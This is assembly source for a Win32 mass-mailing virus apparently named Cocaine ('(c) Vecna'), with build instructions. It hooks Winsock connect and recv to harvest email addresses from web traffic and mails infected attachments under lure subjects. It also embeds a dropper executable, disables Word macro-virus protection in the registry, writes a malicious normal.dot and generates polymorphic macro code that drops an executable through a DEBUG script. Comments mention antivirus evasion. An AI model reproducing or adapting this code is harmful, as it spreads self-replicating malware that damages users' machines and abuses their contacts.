; TASM /M /ML COKE.ASM
; TLINK32 COKE,,,IMPORT32
; PEWRSEC COKE.EXE
;Remember to split the big COKE.ASM in the smaller incz before!
;(and beware the trap ;> )
;contacts: <EMAIL> (except questions about compiling)
.586p
.model flat, STDCALL
locals
include host.inc
ofs equ offset
by equ byte ptr
wo equ word ptr
dwo equ dword ptr
TRUE EQU 1
FALSE EQU 0
MAIL_DEBUG EQU FALSE
DIRECT EQU TRUE
MONTH_DELAY EQU 8
MAX_BRANCH EQU 8 ;beware DrWeb! (5 here=detect!)
MAX_M_DEEP EQU 6
MAIL_PRIORITY EQU 10 ;seconds
MAX_SOCK EQU 10
DIV_VALUE EQU 101
MAX_PATH EQU 260
MIN_RAW EQU (MAX_BRANCH+1)*100h
vsize equ vend - vcode
msize equ mend - vcode
_VSEG segment dword use32 public 'COCAINE'
IFNDEF I_AM_IDIOT_USER_THAT_CANT_COMPILE
vcode label
db '(c) Vecna', 0
FunDate db 0 ;month to activate
InitWSOCK proc
call @@1
wsock32 db 'WSOCK32.DLL', 0
@@1:
call [ebp+(ofs _GetModuleHandle-ofs vcode)]
test eax, eax
jz @@0
call @@2
db 'connect',0
@@2:
push eax
call @@3
db 'recv', 0
@@3:
push eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _recv-ofs vcode)], eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _connect-ofs vcode)], eax
clc
ret
@@0:
stc
ret
InitWSOCK endp
http_install proc
sub ecx, ecx
call @@set_seh
mov esp, [esp+8]
call delta
jmp @@fault
@@set_seh:
push dwo fs:[ecx]
mov fs:[ecx], esp
call InitWSOCK
jc @@fault
mov ebx, [ebp+(ofs _base-ofs vcode)]
@@check:
cmp wo [ebx], 'ZM'
je @@found
@@fault:
sub ecx, ecx
pop dwo fs:[ecx]
pop ecx
ret
@@found:
mov edi, [ebx+3ch]
lea edi, [ebx+edi+128]
mov edi, [edi]
@@2:
mov esi, [ebx+edi+12]
test esi, esi
jz @@ret
add esi, ebx
lodsd
or eax, 20202020h
cmp eax, 'cosw'
je @@wsock
add edi, 20
jmp @@2
@@wsock:
mov esi, [ebx+edi+16]
add esi, ebx
@@searchloop:
lodsd
test eax, eax
jz @@ret
cmp eax, [ebp+(ofs _connect-ofs vcode)]
jne @@3
lea eax, [ebp+(ofs New_connect-ofs vcode)]
lea edi, [esi-4]
mov ecx, 4
push esi
push eax
mov esi, esp ;fake buffer in stack
call WriteMem
pop esi
pop esi
@@3:
cmp eax, [ebp+(ofs _recv-ofs vcode)]
jne @@searchloop
lea eax, [ebp+(ofs New_recv-ofs vcode)]
lea edi, [esi-4]
mov ecx, 4
push esi
push eax
mov esi, esp ;fake buffer in stack
call WriteMem
pop esi
pop esi
@@ret:
jmp @@fault
http_install endp
NewGetProcAddress proc
push esp
pushad
call delta
mov eax, [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [esp+(7*4)+4], eax
call InitWSOCK
jc @@1
lea eax, [ebp+(ofs wsock32-ofs vcode)]
push eax
call [ebp+(ofs _GetModuleHandle-ofs vcode)]
test eax, eax
jz @@1
cmp [esp+(7*4)+12], eax
jnz @@1
lea eax, [ebp+(ofs CheckWSOCK32-ofs vcode)]
xchg [esp+(7*4)+8], eax
mov [ebp+(ofs wsock_ret-ofs vcode)], eax
@@1:
popad
ret
NewGetProcAddress endp
CheckWSOCK32 proc
push ebp
call delta
cmp eax, [ebp+(ofs _connect-ofs vcode)]
jne @@1
lea eax, [ebp+(ofs New_connect-ofs vcode)]
jmp @@2
@@1:
cmp eax, [ebp+(ofs _recv-ofs vcode)]
jne @@2
lea eax, [ebp+(ofs New_recv-ofs vcode)]
@@2:
pop ebp
push 12345678h
wsock_ret equ dwo $-4
ret
CheckWSOCK32 endp
New_connect proc
push esp
pushad
call delta
mov eax, [ebp+(ofs _connect-ofs vcode)]
mov [esp+(7*4)+4], eax
mov esi, [esp+(7*4)+16]
mov ax, wo [esi+2] ;port number
cmp ax, 5000h ;80
jne @@1
mov eax, [esp+(7*4)+12] ;get socket
mov ebx, [ebp+(ofs _socket-ofs vcode)]
mov [ebp+(ofs socket-ofs vcode)+(ebx*4)], eax
inc ebx
cmp ebx, MAX_SOCK
jne @@2
sub ebx, ebx
@@2:
mov [ebp+(ofs _socket-ofs vcode)], ebx
@@1:
popad
ret
New_connect endp
delta proc
call @@1
@@1:
pop ebp
sub ebp, (ofs @@1-ofs vcode)
ret
delta endp
New_recv proc
push esp
pushad
call delta
mov eax, [ebp+(ofs _recv-ofs vcode)]
mov [esp+(7*4)+4], eax
mov eax, [esp+(7*4)+12]
lea edi, [ebp+(ofs socket-ofs vcode)]
mov ecx, MAX_SOCK
repne scasd
jecxz @@1
mov eax, [esp+(7*4)+16]
mov [ebp+(ofs recv_buff-ofs vcode)], eax
mov eax, [esp+(7*4)+20]
mov [ebp+(ofs recv_size-ofs vcode)], eax
lea eax, [ebp+(ofs New_recv2-ofs vcode)]
xchg [esp+(7*4)+8], eax
mov [ebp+(ofs recv_ret-ofs vcode)], eax
@@1:
popad
ret
New_recv endp
New_recv2 proc
pushad
call delta
mov eax, [ebp+(ofs email_w-ofs vcode)]
test eax, eax
jnz @@0
mov esi, [ebp+(ofs recv_buff-ofs vcode)]
mov ecx, [ebp+(ofs recv_size-ofs vcode)]
sub ecx, 8
@@1:
push ecx
push esi
lodsd
or eax, 20202000h
cmp eax, 'iam"'
jne @@2
lodsd
or eax, 00202020h
cmp eax, ':otl'
jne @@2
lea edi, [ebp+(ofs email-ofs vcode)]
lea ebx, [edi+127]
@@4:
lodsb
cmp al, '"'
je @@3
cmp al, '?'
je @@3
cmp edi, ebx
je @@3
stosb
jmp @@4
@@3:
sub eax, eax
stosb
dec eax
mov dwo [ebp+(ofs email_w-ofs vcode)], eax
@@2:
pop esi
inc esi
pop ecx
loop @@1
@@0:
popad
push 12345678h
recv_ret equ dwo $-4
ret
New_recv2 endp
MailThread proc
cld
mov ebp, [esp+4]
sub eax, eax
call @@set_seh
mov esp, [esp+8]
call delta
push -1
call [ebp+(ofs _Sleep-ofs vcode)]
@@set_seh:
push dwo fs:[eax]
mov fs:[eax], esp
@@main_loop:
mov ecx, [ebp+(ofs email_w-ofs vcode)]
test ecx, ecx
jz @@no_queued
lea esi, [ebp+(ofs email-ofs vcode)]
push esi
sub ecx, ecx
cld
@@1strlen:
lodsb
test al, al
jz @@2strlen
inc ecx
jmp @@1strlen
@@2strlen:
mov edi, ecx
pop esi
call CRC32
mov [ebp+(ofs email_crc-ofs vcode)], eax
call CheckList
test eax, eax
jnz @@done
IF MAIL_DEBUG EQ TRUE
sub ecx, ecx
push 4 ;yes/no
lea eax, [ebp+(ofs title1-ofs vcode)]
push eax
lea eax, [ebp+(ofs email-ofs vcode)]
push eax
push ecx
call [ebp+(ofs _MessageBoxA-ofs vcode)]
cmp eax, 7 ;no!
je @@done
ENDIF
lea eax, [ebp+(ofs mapi-ofs vcode)]
push eax
call [ebp+(ofs _LoadLibraryA-ofs vcode)]
test eax, eax
jz @@done
mov [ebp+(ofs _mapi-ofs vcode)], eax
lea ecx, [ebp+(ofs sMAPISendMail-ofs vcode)]
push ecx
push eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
test eax, eax
jz @@unload_mapi
mov [ebp+(ofs _MAPISendMail-ofs vcode)], eax
call OpenAncev
jc @@file ;file dont exists, binary send
@@doc:
call GetTemplateDir
@@1:
lodsb
test al, al
jnz @@1
lea edi, [esi-1]
lea esi, [ebp+(ofs ndot-ofs vcode)]
@@3:
lodsb
stosb
test al, al
jnz @@3
lea esi, [ebp+(ofs directory-ofs vcode)]
push 80h
push esi
call [ebp+(ofs _SetFileAttributesA-ofs vcode)]
test eax, eax
jz @@file
mov edx, 'COD.'
jmp @@attach
@@file:
call CreateDropper
mov eax, [ebp+(ofs mm_on_off-ofs vcode)]
push eax ;buffer
mov eax, [ebp+(ofs fsizel-ofs vcode)]
push eax ;size
lea edi, [ebp+(ofs directory-ofs vcode)]
push edi
lea esi, [ebp+(ofs shitfile-ofs vcode)]
@@4:
lodsb
stosb
test al, al
jnz @@4
mov dwo [ebp+(ofs wd_att-ofs vcode)], 82h
call WriteDump ;hidden dump
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs mm_on_off-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)]
mov edx, 'EXE.'
@@attach:
DATA_SIZE = size MapiMessage + ((size MapiRecipDesc)*2) + size MapiFileDesc
mapimsg = 0
origin = mapimsg + size MapiMessage
destin = origin + size MapiRecipDesc
file = destin + size MapiRecipDesc
sub eax, eax
mov ecx, DATA_SIZE
sub esp, ecx
mov edi, esp
mov esi, edi
rep stosb ;clear buffers we'll use
lea eax, [esi+origin]
mov [esi.mapimsg.lpOriginator], eax
lea eax, [esi+destin]
mov [esi.mapimsg.lpRecips], eax
lea eax, [esi+file]
mov [esi.mapimsg.lpFiles], eax
push 1
pop eax
mov [esi.mapimsg.nFileCount], eax
mov [esi.mapimsg.nRecipCount], eax
mov [esi.destin.ulRecipClass], eax
inc eax
mov [esi.mapimsg.flags], eax
lea eax, [ebp+(ofs email-ofs vcode)]
mov [esi.destin.lpszName], eax
mov [esi.destin.lpszAddress], eax
lea eax, [ebp+(ofs directory-ofs vcode)]
mov [esi.file.lpszPathName], eax
lea edi, [ebp+(ofs fname-ofs vcode)]
mov [esi.file.lpszFileName], edi
call MakeVar
mov eax, edx
stosd
sub eax, eax
stosb
mov eax, [ebp+(ofs subject-ofs vcode)]
mov [esi.mapimsg.lpszSubject], eax
call @@1aa
db '', 0
@@1aa:
pop [esi.mapimsg.lpszNoteText]
sub eax, eax
push eax
push eax
push esi
push eax
push eax
call [ebp+(ofs _MAPISendMail-ofs vcode)]
test eax, eax
jnz @@33
sub eax, eax
mov [ebp+(ofs mm_on_off-ofs vcode)], eax
call InsertList
@@33:
add esp, DATA_SIZE
lea eax, [ebp+(ofs shitfile-ofs vcode)]
push eax
call DeleteShitFile
@@unload_mapi:
mov eax, [ebp+(ofs _mapi-ofs vcode)]
call [ebp+(ofs _FreeLibrary-ofs vcode)]
@@done:
sub eax, eax
mov [ebp+(ofs email_w-ofs vcode)], eax
@@no_queued:
push MAIL_PRIORITY*1000
call [ebp+(ofs _Sleep-ofs vcode)]
jmp @@main_loop
MailThread endp
GetTemplateDir proc
call @@2
db 'SOFTWARE\Microsoft\Office\8.0\Common\FileNew\LocalTemplates', 0
@@2:
pop eax
call ConsultKey
ret
GetTemplateDir endp
CreateDropper proc
push 00000040h
push 00002000h+00001000h+00100000h
push 48*1024
push 0
call [ebp+(ofs _VirtualAlloc-ofs vcode)]
mov [ebp+(ofs mm_on_off-ofs vcode)], eax
sub edi, edi
xchg edi, eax
call @@1
@@0:
db 04Dh, 05Ah, 050h, 000h, 000h, 000h, 002h, 000h
db 002h, 000h, 004h, 000h, 000h, 000h, 00Fh, 000h
db 000h, 000h, 0FFh, 0FFh, 000h, 001h, 000h, 0B8h
db 000h, 006h, 000h, 040h, 000h, 000h, 000h, 01Ah
db 000h, 021h, 000h, 001h, 000h, 001h, 000h, 0BAh
db 010h, 000h, 000h, 000h, 00Eh, 01Fh, 0B4h, 009h
db 0CDh, 021h, 0B8h, 001h, 04Ch, 0CDh, 021h, 090h
db 090h, 054h, 068h, 069h, 073h, 020h, 070h, 072h
db 06Fh, 067h, 072h, 061h, 06Dh, 020h, 06Dh, 075h
db 073h, 074h, 020h, 062h, 065h, 020h, 072h, 075h
db 06Eh, 020h, 075h, 06Eh, 064h, 065h, 072h, 020h
db 057h, 069h, 06Eh, 033h, 032h, 00Dh, 00Ah, 024h
db 037h, 000h, 087h, 000h, 050h, 045h, 000h, 001h
db 000h, 04Ch, 001h, 004h, 000h, 000h, 000h, 074h
db 025h, 0F5h, 00Eh, 000h, 007h, 000h, 0E0h, 000h
db 000h, 000h, 08Eh, 081h, 00Bh, 001h, 002h, 019h
db 000h, 000h, 000h, 002h, 000h, 002h, 000h, 006h
db 000h, 006h, 000h, 010h, 000h, 002h, 000h, 010h
db 000h, 002h, 000h, 020h, 000h, 003h, 000h, 040h
db 000h, 001h, 000h, 010h, 000h, 002h, 000h, 002h
db 000h, 001h, 000h, 001h, 000h, 006h, 000h, 003h
db 000h, 000h, 000h, 00Ah, 000h, 005h, 000h, 050h
db 000h, 002h, 000h, 004h, 000h, 005h, 000h, 002h
db 000h, 004h, 000h, 010h, 000h, 001h, 000h, 020h
db 000h, 003h, 000h, 010h, 000h, 001h, 000h, 010h
db 000h, 005h, 000h, 010h, 000h, 00Bh, 000h, 030h
db 000h, 001h, 000h, 054h, 000h, 01Bh, 000h, 040h
db 000h, 001h, 000h, 00Ch, 000h, 052h, 000h, 043h
db 04Fh, 044h, 045h, 000h, 004h, 000h, 002h, 000h
db 002h, 000h, 010h, 000h, 002h, 000h, 002h, 000h
db 002h, 000h, 006h, 000h, 00Dh, 000h, 020h, 000h
db 001h, 000h, 060h, 044h, 041h, 054h, 041h, 000h
db 004h, 000h, 002h, 000h, 002h, 000h, 020h, 000h
db 002h, 000h, 002h, 000h, 002h, 000h, 008h, 000h
db 00Dh, 000h, 040h, 000h, 001h, 000h, 0C0h, 02Eh
db 069h, 064h, 061h, 074h, 061h, 000h, 002h, 000h
db 002h, 000h, 002h, 000h, 030h, 000h, 002h, 000h
db 002h, 000h, 002h, 000h, 00Ah, 000h, 00Dh, 000h
db 040h, 000h, 001h, 000h, 0C0h, 02Eh, 072h, 065h
db 06Ch, 06Fh, 063h, 000h, 002h, 000h, 002h, 000h
db 002h, 000h, 040h, 000h, 002h, 000h, 002h, 000h
db 002h, 000h, 00Ch, 000h, 00Dh, 000h, 040h, 000h
db 001h, 000h, 050h, 000h, 067h, 003h, 06Ah, 000h
db 000h, 000h, 0E8h, 000h, 003h, 000h, 0FFh, 025h
db 030h, 030h, 040h, 000h, 0F3h, 003h, 028h, 030h
db 000h, 009h, 000h, 038h, 030h, 000h, 001h, 000h
db 030h, 030h, 000h, 015h, 000h, 046h, 030h, 000h
db 005h, 000h, 046h, 030h, 000h, 005h, 000h, 04Bh
db 045h, 052h, 04Eh, 045h, 04Ch, 033h, 032h, 02Eh
db 064h, 06Ch, 06Ch, 000h, 003h, 000h, 045h, 078h
db 069h, 074h, 050h, 072h, 06Fh, 063h, 065h, 073h
db 073h, 000h, 0ADh, 001h, 010h, 000h, 001h, 000h
db 00Ch, 000h, 002h, 000h, 009h, 030h
@@1:
pop esi
mov ecx, ofs @@1-ofs @@0
@@2:
lodsb
stosb
test al, al
jnz @@3
dec ecx
dec ecx
lodsw
push ecx
xor ecx, ecx
xchg ecx, eax
jecxz @@4
rep stosb
@@4:
pop ecx
@@3:
loop @@2
mov [ebp+(ofs fsizeh-ofs vcode)], ecx
mov dwo [ebp+(ofs fsizel-ofs vcode)], 4096
call Infect
ret
CreateDropper endp
random_f proc
push eax
call random0
pop eax
ret
random_f endp
macro_start equ this byte
include ndot.inc
MacroSpread proc
sub ecx, ecx
call @@set_seh
mov esp, [esp+8]
call delta
jmp @@0
@@set_seh:
push dwo fs:[ecx]
mov fs:[ecx], esp
call OpenAncev
jc @@1 ;dont exists, macro spread
mov eax, 10
call random
or eax, eax ;just in case that we are
jnz @@0 ;reinfecting
@@1:
call @@2
@@1v dd 0
@@2:
push 000F003Fh ;KEY_ALL_ACCESS
push 0
call @@3
db 'SOFTWARE\Microsoft\Office\8.0\Word\Options', 0
@@3:
push 80000001H ;HKEY_CURRENT_USER
call [ebp+(ofs _RegOpenKeyEx-ofs vcode)]
test eax, eax
jnz @@0
push 1 ;size
call @@4
db '0', 0
@@4:
push 1 ;type
push 0
call @@5
db 'EnableMacroVirusProtection', 0 ;key entry
@@5:
push dwo [ebp+(ofs @@1v-ofs vcode)]
call [ebp+(ofs _RegSetValueEx-ofs vcode)]
push dwo [ebp+(ofs @@1v-ofs vcode)]
call [ebp+(ofs _RegCloseKey-ofs vcode)] ;close key
call GetTemplateDir
cld
push esi
@@6:
lodsb
test al, al
jnz @@6
lea edi, [esi-1]
lea esi, [ebp+(ofs ndot-ofs vcode)]
@@8:
lodsb
stosb
test al, al
jnz @@8
call DeleteShitFile
push 00000040h
push 00002000h+00001000h+00100000h
push 48*1024
push 0
call [ebp+(ofs _VirtualAlloc-ofs vcode)];alloc memory for my normal.dot
mov [ebp+(ofs mm_on_off-ofs vcode)], eax
lea eax, [ebp+(ofs normaldot-ofs vcode)]
push eax
push normaldot_size
mov eax, [ebp+(ofs mm_on_off-ofs vcode)]
push eax
lea eax, [ebp+(ofs normaldot_sized-ofs vcode)]
push eax
call lzrw1_decompress ;unpack normaldot
mov eax, [ebp+(ofs mm_on_off-ofs vcode)]
push eax
mov eax, [ebp+(ofs normaldot_sized-ofs vcode)]
push eax
lea eax, [ebp+(ofs directory-ofs vcode)]
push eax ;dump not hidden
mov dwo [ebp+(ofs wd_att-ofs vcode)], 80h
call WriteDump ;create/write new normal.dot
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs mm_on_off-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)] ;free memory from normal.dot
call CreateDropper
push 00000040h
push 00002000h+00001000h+00100000h
push 150*1024
push 0
call [ebp+(ofs _VirtualAlloc-ofs vcode)]
mov [ebp+(ofs dbgscript-ofs vcode)], eax
mov edi, eax
push eax
mov esi, [ebp+(ofs mm_on_off-ofs vcode)]
mov ecx, dwo [ebp+(ofs fsizel-ofs vcode)]
call script ;make debug script
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs mm_on_off-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)] ;free memory from EXE dropper
pop eax
sub edi, eax
mov [ebp+(ofs dbgscript_size-ofs vcode)], edi
push 00000040h
push 00002000h+00001000h+00100000h
push 4*1024
push 0
call [ebp+(ofs _VirtualAlloc-ofs vcode)] ;alloc memory for macro text
mov [ebp+(ofs mm_on_off-ofs vcode)], eax
lea eax, [ebp+(ofs macros-ofs vcode)]
push eax
push macro_size
mov eax, [ebp+(ofs mm_on_off-ofs vcode)]
push eax
lea eax, [ebp+(ofs macro_sized-ofs vcode)]
push eax
call lzrw1_decompress ;unpack normaldot
mov ecx, [ebp+(ofs macro_sized-ofs vcode)]
mov esi, [ebp+(ofs mm_on_off-ofs vcode)]
lea edi, [esi+ecx+4] ;edi=buffer for vars
mov [ebp+(ofs variables-ofs vcode)], edi
mov ebx, edi
@@9:
lodsb
cmp al, 'A'
jb @@10
cmp al, 'Z'
ja @@10
call random_f
jc @@10
sub al, 'A'-'a'
@@10:
mov [esi-1], al
loop @@9
mov ecx, 10 ;generate variables
@@13:
push ecx
mov eax, 8 ;lenght of the name of variable
call random
inc eax
inc eax
mov ecx, eax
@@12:
mov eax, 'Z'-'A'
call random
add al, 'A'
call random_f
jc @@11
sub al, 'A'-'a'
@@11:
stosb
loop @@12
sub eax, eax
stosb
pop ecx
loop @@13 ;next variable
push 00000040h
push 00002000h+00001000h+00100000h
push 4*1024
push 0
call [ebp+(ofs _VirtualAlloc-ofs vcode)] ;alloc memory for macro text
push eax
mov edi, eax
mov esi, [ebp+(ofs mm_on_off-ofs vcode)]
@@14:
lodsb
cmp al, '%'
jne @@18
lodsb
sub al, '0'
push ebx
push esi
movzx ecx, al
mov esi, ebx
@@15:
lodsb
test al, al
jnz @@15
loop @@15
@@16:
lodsb
test al, al
jz @@17
stosb
jmp @@16
@@17:
pop esi
pop ebx
mov al, 12h
org $-1
@@18:
stosb
lea eax, [ebx-4]
cmp esi, eax
jb @@14
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs mm_on_off-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)] ;free mem macro code (unprocess)
mov ecx, edi
pop esi
sub ecx, esi
push ecx
mov [ebp+(ofs mm_on_off-ofs vcode)], esi
push 00000040h
push 00002000h+00001000h+00100000h
push 150*1024
push 0
call [ebp+(ofs _VirtualAlloc-ofs vcode)] ;alloc memory for macro text
sub ecx, ecx
sub ebx, ebx
mov edi, eax
xchg eax, [esp]
xchg eax, ecx
add ecx, [ebp+(ofs mm_on_off-ofs vcode)];ecx=limit of macro template
mov by [ebp+(ofs mdeep-ofs vcode)], -1
@@19:
mov esi, [ebp+(ofs mm_on_off-ofs vcode)]
inc ah
cmp ah, 2
jne @@20
mov by [ebp+(ofs mdeep-ofs vcode)], 0
@@20:
cmp ah, 8
jne @@21
mov by [ebp+(ofs mdeep-ofs vcode)], -1
@@21:
cmp ah, 6
jne @@22
mov esi, [ebp+(ofs dbgscript-ofs vcode)]
push ecx
mov ecx, [ebp+(ofs dbgscript_size-ofs vcode)]
rep movsb
pop ecx
call MacroGarble
jmp @@19
@@22:
cmp ah, 9
je @@28
@@23:
cmp esi, ecx
jb @@24 ;all buffer scanned?
test ebx, ebx
jz @@19 ;nothing we was searching exists
mov esi, [ebp+(ofs mm_on_off-ofs vcode)];it exists, but we skipped!
sub ebx, ebx
@@24:
lodsb
cmp al, ah
jne @@27 ;find line we're searching
inc ebx ;flag found
push eax
mov ax, 100
call random
cmp eax, 33 ;1/3
pop eax
jnb @@27 ;skip this time
mov by [esi-1], 9 ;flag as done
@@25:
lodsb
test al, al
jz @@26
stosb
cmp al, 10
jne @@25
call MacroGarble ;after CRLF, insert garbage
jmp @@25
@@26:
jmp @@23
@@27:
lodsb
test al, al
jnz @@27 ;seek till next line
jmp @@23
@@28:
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs mm_on_off-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)] ;free memory from macro code
mov eax, [esp] ;get buffer from stack
push eax
sub edi, eax
push edi
lea eax, [ebp+(ofs cokefile-ofs vcode)]
push eax
mov dwo [ebp+(ofs wd_att-ofs vcode)], 82h
call WriteDump ;create/write new normal.dot
pop eax ;buffer
push 00004000h+00008000h
push 0
push eax
call [ebp+(ofs _VirtualFree-ofs vcode)] ;free memory from complete code
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs dbgscript-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)] ;free memory from debug script
@@0:
sub ecx, ecx
pop dwo fs:[ecx]
pop ecx
sub eax, eax
mov dwo [ebp+(ofs mm_on_off-ofs vcode)], eax
add al, '0'
mov by [ebp+(ofs dmt1-ofs vcode)], al
mov by [ebp+(ofs dmt2-ofs vcode)+7], al
mov by [ebp+(ofs outcmd-ofs vcode)+7], al
mov by [ebp+(ofs ssize-ofs vcode)+7], al
mov by [ebp+(ofs coda-ofs vcode)+7], al
mov by [ebp+(ofs dmt3-ofs vcode)+7], al
mov by [ebp+(ofs dmt4-ofs vcode)+7], al
mov by [ebp+(ofs dmt5-ofs vcode)+7], al
ret
MacroSpread endp
MacroGarble proc
push eax
push ecx
push esi
cmp by [ebp+(ofs mdeep-ofs vcode)], MAX_M_DEEP
jae @@0
inc by [ebp+(ofs mdeep-ofs vcode)]
mov eax, 4
call random
add eax, 2
mov ecx, eax
@@1:
push ecx
@@2:
mov eax, 16
call random
cmp al, 10
je @@remark
cmp al, 11
je @@for
cmp al, 12
je @@variables
cmp al, 13
je @@if
cmp al, 14
je @@10
jmp @@2
@@if:
mov eax, ' fI'
stosd
dec edi
call MakeVar
mov eax, ' = '
call random_f
jc @@3
dec ah
call random_f
jc @@3
inc ah
inc ah
@@3:
stosd
dec edi
call MakeVar
mov eax, 'ehT '
stosd
mov eax, 000a0d00h+'n'
stosd
dec edi
call MacroGarble
call @@4
db 'End If', 13, 10
@@4:
pop esi
movsd
movsd
jmp @@10
@@remark:
call random_f
jc @@5
mov al, "'"
stosb
jmp @@6
@@5:
mov eax, ' meR'
stosd
@@6:
call MakeVar
call MakeVar
@@7:
mov ax, 0a0dh
stosw
jmp @@10
@@variables:
call MakeVar
call random_f
jc @@string
mov eax, ' = '
stosd
dec edi
call MakeNumber
@@8:
jmp @@7
@@string:
call MakeVar
mov eax, ' = $'
stosd
mov al, '"'
stosb
call MakeVar
mov al, '"'
stosb
jmp @@8
@@for:
mov eax, ' roF'
stosd
push edi
call MakeVar
mov eax, ' = '
stosd
dec edi
call MakeNumber
mov eax, ' oT '
stosd
call MakeNumber
mov ax, 0a0dh
stosw
call MacroGarble
mov eax, 'txeN'
stosd
mov al, ' '
stosb
pop esi
@@9:
lodsb
cmp al, ' '
je @@8
stosb
jmp @@9
@@10:
pop ecx
dec ecx
jnz @@1
dec by [ebp+(ofs mdeep-ofs vcode)]
@@0:
pop esi
pop ecx
pop eax
ret
MacroGarble endp
MakeNumber proc
push ecx
push eax
mov eax, 2
call random
inc eax
mov ecx, eax
@@1:
mov eax, '9'-'0'
call random
add al, '0'
stosb
loop @@1
pop eax
pop ecx
ret
MakeNumber endp
include lz.inc
include macro.inc
update_address proc
push eax ecx
db 0b8h
addr dd 0 ;get address to eax
mov ecx, 4
@@1:
rol ax, 4
call mhex ;print hex digits
loop @@1
add dwo [ebp+(ofs addr-ofs vcode)], 10h ;update address
pop ecx eax
ret
update_address endp
mhex proc
push eax ebx
and eax, 01111b ;lower nibble
call $+21
db '0123456789ABCDEF'
pop ebx
xlat ;turn it in hex digit
stosb
pop ebx eax
ret
mhex endp
copy_line proc
push eax
@@0:
lodsb
or al, al
jz @@1 ;zero found, stop copy
stosb
jmp @@0
@@1:
pop eax
ret
copy_line endp
make_hex proc
push eax ecx esi
db 0b8h+6
iaddr dd 0 ;esi<->actual buffer position
inc dwo [ebp+(ofs iaddr-ofs vcode)] ;set next
mov al, 20h
stosb ;print space
lodsb
rol al, 4
call mhex ;print upper nibble
rol al, 4
call mhex ;print lower nibble
pop esi ecx eax
loop make_hex
ret
make_hex endp
script proc
cld
call debugmutator
mov dwo [ebp+(ofs addr-ofs vcode)], 0100h
mov [ebp+(ofs iaddr-ofs vcode)], esi ;set vars
lea esi, [ebp+(ofs intro-ofs vcode)]
call copy_line ;copy intro code
mov eax, 16
cdq
xchg eax, ecx
div ecx ;ecx=number of 16-bytes lines
mov ecx, eax ;edx=remainder for last line
@@0:
push ecx
lea esi, [ebp+(ofs outcmd-ofs vcode)]
call copy_line ;print
call update_address ;address
mov ecx, 16
call make_hex ;code to assemble
mov eax, 000A0D00h+'"'
stosd ;next line
dec edi
pop ecx
loop @@0
mov ecx, edx
jecxz @@1 ;no remainder?
lea esi, [ebp+(ofs outcmd-ofs vcode)]
call copy_line
call update_address ;make last line
call make_hex
mov eax, 000A0D00h+'"'
stosd
dec edi
sub wo [ebp+(ofs addr-ofs vcode)], 10h ;undo damage
@@1:
lea esi, [ebp+(ofs ssize-ofs vcode)]
call copy_line ;rcx
add wo [ebp+(ofs addr-ofs vcode)], dx
sub wo [ebp+(ofs addr-ofs vcode)], 100h
lea esi, [ebp+(ofs ssize-ofs vcode)]
call copy_line ;optimization!
sub edi, 6
call update_address ;set size
mov eax, 000A0D00h+'"'
stosd
dec edi
lea esi, [ebp+(ofs coda-ofs vcode)] ;copy final shit
call copy_line
ret
script endp
dbgscript dd 0
dbgscript_size dd 0
intro db 'Open "C:\COCAINE.SRC" For OutPut As '
dmt1 db '0', 13, 10
dmt2 db 'Print #0, "N C:\W32COKE.EX"',13,10,0
outcmd db 'Print #0, "E ',0
ssize db 'Print #0, "RCX"', 13, 10, 0
coda db 'Print #0, "W"', 13, 10
dmt3 db 'Print #0, "Q"', 13, 10
dmt4 db 'Print #0, ""', 13, 10
dmt5 db 'Close #0', 13, 10, 0
debugmutator proc
pushad
mov eax, 9
call random
inc eax
add by [ebp+(ofs dmt1-ofs vcode)], al
add by [ebp+(ofs dmt2-ofs vcode)+7], al
add by [ebp+(ofs outcmd-ofs vcode)+7], al
add by [ebp+(ofs ssize-ofs vcode)+7], al
add by [ebp+(ofs coda-ofs vcode)+7], al
add by [ebp+(ofs dmt3-ofs vcode)+7], al
add by [ebp+(ofs dmt4-ofs vcode)+7], al
add by [ebp+(ofs dmt5-ofs vcode)+7], al
popad
ret
debugmutator endp
macro_end equ this byte
MakeVar proc
push ecx
push eax
mov eax, 5
call random
add eax, 4
mov ecx, eax
@@1:
mov al, 'Z'-'A'
call random
add al, 'A'
call random_f
jc @@2
sub al, 'A'-'a'
@@2:
stosb
push ecx
push edi
call @@3
db 'AaEeIiOoUu'
@@3:
pop edi
mov ecx, 10
repne scasb
jecxz @@4
dec dwo [esp-1]
@@4:
pop edi
pop ecx
loop @@1
stosb
pop eax
pop ecx
ret
MakeVar endp
PatchIT proc
push esi
lea edi, [esi+ecx] ;destination
mov ecx, 4
push eax
mov esi, esp ;fake buffer in stack
call WriteMem
pop esi ;remove shit
pop esi
ret
PatchIT endp
_base dd 400000h
NUM_TOPICS EQU 8
topics equ this byte
dd ofs t0-ofs vcode
dd ofs t0-ofs vcode
dd ofs t0-ofs vcode
dd ofs t1-ofs vcode
dd ofs t2-ofs vcode
dd ofs t3-ofs vcode
dd ofs t4-ofs vcode
dd ofs t5-ofs vcode
t0 db '', 0
t1 db 'Kewl page!', 0
t2 db 'Improvement to your page', 0
t3 db 'Your page r0x0r!', 0
t4 db 'You must see this...', 0
t5 db 'Secret stuff!', 0
;ESI=Code to encript (Big enought; Swappable)
;EDI=Place to put code (Big enought; Swappable)
;ECX=Size of code to encript
;EAX=Delta entrypoint
;EDX=VA where code will run in host
;
;EDI=Final buffer
;ECX=Size
;EAX=New delta entrypoint
mutate proc
cld
push eax
call crypt_poly ;decript engine
mov [ebp+(ofs rva-ofs vcode)], edx
call random0
mov [ebp+(ofs cp_key-ofs vcode)], al ;next memory key
mov eax, [ebp+(ofs seed-ofs vcode)]
mov [ebp+(ofs pseed-ofs vcode)], eax
mov eax, 3
call random
push 2
pop ebx
add ebx, eax
or bl, 1
pop eax
@@1:
push ebx
call poly
